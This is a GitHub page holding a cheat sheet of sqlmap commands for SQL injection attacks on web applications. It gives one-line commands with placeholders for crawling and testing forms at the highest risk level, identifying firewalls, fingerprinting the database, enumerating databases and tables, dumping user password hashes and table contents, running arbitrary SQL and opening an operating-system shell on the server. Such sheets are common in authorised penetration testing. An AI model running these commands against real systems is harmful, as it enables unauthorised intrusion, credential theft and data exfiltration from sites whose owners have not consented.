-
Notifications
You must be signed in to change notification settings - Fork 11
/
sqlmap
57 lines (41 loc) · 1.63 KB
/
sqlmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# andrew <andrewjkerr>
# Jose Moruno <snifer>
#Automated sqlmap scan
./sqlmap -u http://site.com--forms --batch --crawl=2 --cookie= --level=5 --risk=3
# Test URL and POST data and return database banner (if possible)
./sqlmap.py --url="<url>" --data="<post-data>" --banner
# Parse request data and test | request data can be obtained with burp
./sqlmap.py -u <request-file> <options>
# Use random agent
./sqlmap.py -u <request-file> --random-agent
# Fingerprint | much more information than banner
./sqlmap.py -u <request-file> --fingerprint
# Identify WAF
./sqlmap.py -u <request-file> --check-waf/--identify
# Get database username, name, and hostname
./sqlmap.py -u <request-file> --current-user --current-db --hostname
# Check if user is a database admin
./sqlmap.py -u <request-file> --is-dba
# Get database users and password hashes
./sqlmap.py -u <request-file> --users --passwords
# Enumerate databases
./sqlmap.py -u <request-file> --dbs
# List tables for one database
./sqlmap.py -u <request-file> -D <db-name> --tables
# Other database commands
./sqlmap.py -u <request-file> -D <db-name> --columns
--schema
--count
# Enumeration flags
./sqlmap.py -u <request-file> -D <db-name>
-T <tbl-name>
-C <col-name>
-U <user-name>
# Extract data
./sqlmap.py -u <request-file> -D <db-name> -T <tbl-name> -C <col-name> --dump
# Execute SQL Query
./sqlmap.py -u <request-file> --sql-query="<sql-query>"
# Append/Prepend SQL Queries
./sqlmap.py -u <request-file> --prefix="<sql-query>" --suffix="<sql-query>"
# Get backdoor access to sql server | can give shell access
./sqlmap.py -u <request-file> --os-shell